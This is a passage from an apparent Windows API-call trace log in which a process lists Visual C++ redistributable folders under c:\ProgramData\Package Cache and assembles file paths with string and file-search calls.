out: lpString1="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="c:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0121.501] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.501] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.501] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.501] lstrcmpW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2=".") returned 1 [0121.501] lstrcmpW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="..") returned 1 [0121.501] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.501] lstrlenW (lpString="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 49 [0121.501] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0121.501] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0121.501] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned 79 [0121.501] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*") returned="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*" [0121.501] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.553] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.553] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.553] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.553] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.553] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.553] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0121.553] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0121.553] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned 79 [0121.553] lstrlenW (lpString="packages") returned 8 [0121.553] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="c:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0121.553] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.553] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.553] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.553] lstrcmpW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2=".") returned 1 [0121.553] lstrcmpW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="..") returned 1 [0121.553] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.553] lstrlenW (lpString="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 49 [0121.553] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0121.553] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0121.553] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned 79 [0121.553] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*") returned="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*" [0121.553] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.553] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.553] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.553] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.553] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.553] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.553] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0121.553] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0121.553] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned 79 [0121.553] lstrlenW (lpString="packages") returned 8 [0121.553] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0121.553] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.553] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.554] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.554] lstrcmpW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2=".") returned 1 [0121.554] lstrcmpW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="..") returned 1 [0121.554] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.554] lstrlenW (lpString="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 49 [0121.554] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0121.554] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0121.554] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned 79 [0121.554] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*") returned="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*" [0121.554] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.614] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.614] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.614] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.614] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.614] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.614] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0121.614] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0121.614] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned 79 [0121.614] lstrlenW (lpString="packages") returned 8 [0121.614] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0121.614] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.614] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.615] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.615] lstrcmpW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2=".") returned 1 [0121.616] lstrcmpW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="..") returned 1 [0121.616] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.616] lstrlenW (lpString="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 49 [0121.616] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0121.616] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0121.616] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned 79 [0121.616] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*") returned="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*" [0121.616] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.616] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.616] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.616] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.616] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.616] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.616] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0121.616] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0121.616] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned 79 [0121.616] lstrlenW (lpString="packages") returned 8 [0121.616] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0121.616] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.616] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.617] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.617] lstrcmpW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2=".") returned 1 [0121.617] lstrcmpW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="..") returned 1 [0121.617] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.617] lstrlenW (lpString="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 38 [0121.617] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0121.617] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0121.617] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned 68 [0121.617] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*" [0121.617] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.617] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.617] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.617] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.617] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.617] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.617] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0121.617] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0121.617] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned 68 [0121.617] lstrlenW (lpString="state.rsm") returned 9 [0121.617] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" [0121.617] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned 77 [0121.617] lstrcpyW (in: lpString1=0x24aa148, lpString2="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" [0121.617] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.617] lstrcmpW (lpString1="vcredist_x64.exe", lpString2=".") returned 1 [0121.617] lstrcmpW (lpString1="vcredist_x64.exe", lpString2="..") returned 1 [0121.617] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned 68 [0121.617] lstrlenW (lpString="vcredist_x64.exe") returned 16 [0121.617] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\", lpString2="vcredist_x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" [0121.617] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned 84 [0121.617] lstrcpyW (in: lpString1=0x24aa1f0, lpString2="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" [0121.617] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.617] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.617] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.617] lstrcmpW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2=".") returned 1 [0121.618] lstrcmpW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="..") returned 1 [0121.618] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.618] lstrlenW (lpString="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 49 [0121.618] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0121.618] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0121.618] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned 79 [0121.618] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*") returned="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*" [0121.618] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.618] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.618] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.618] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.618] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.618] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.618] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0121.618] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0121.618] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned 79 [0121.618] lstrlenW (lpString="packages") returned 8 [0121.618] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0121.618] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.618] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.618] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.619] lstrcmpW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2=".") returned 1 [0121.619] lstrcmpW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="..") returned 1 [0121.619] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.619] lstrlenW (lpString="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 50 [0121.619] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0121.619] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0121.619] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned 80 [0121.619] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*") returned="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*" [0121.619] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.619] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.619] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.619] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.619] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.619] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.619] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0121.619] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0121.619] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned 80 [0121.619] lstrlenW (lpString="packages") returned 8 [0121.619] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" [0121.619] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.619] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.620] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.620] lstrcmpW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2=".") returned 1 [0121.620] lstrcmpW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="..") returned 1 [0121.620] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.620] lstrlenW (lpString="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 38 [0121.620] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0121.620] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0121.620] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned 68 [0121.620] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*") returned="c:\\ProgramData\\Package 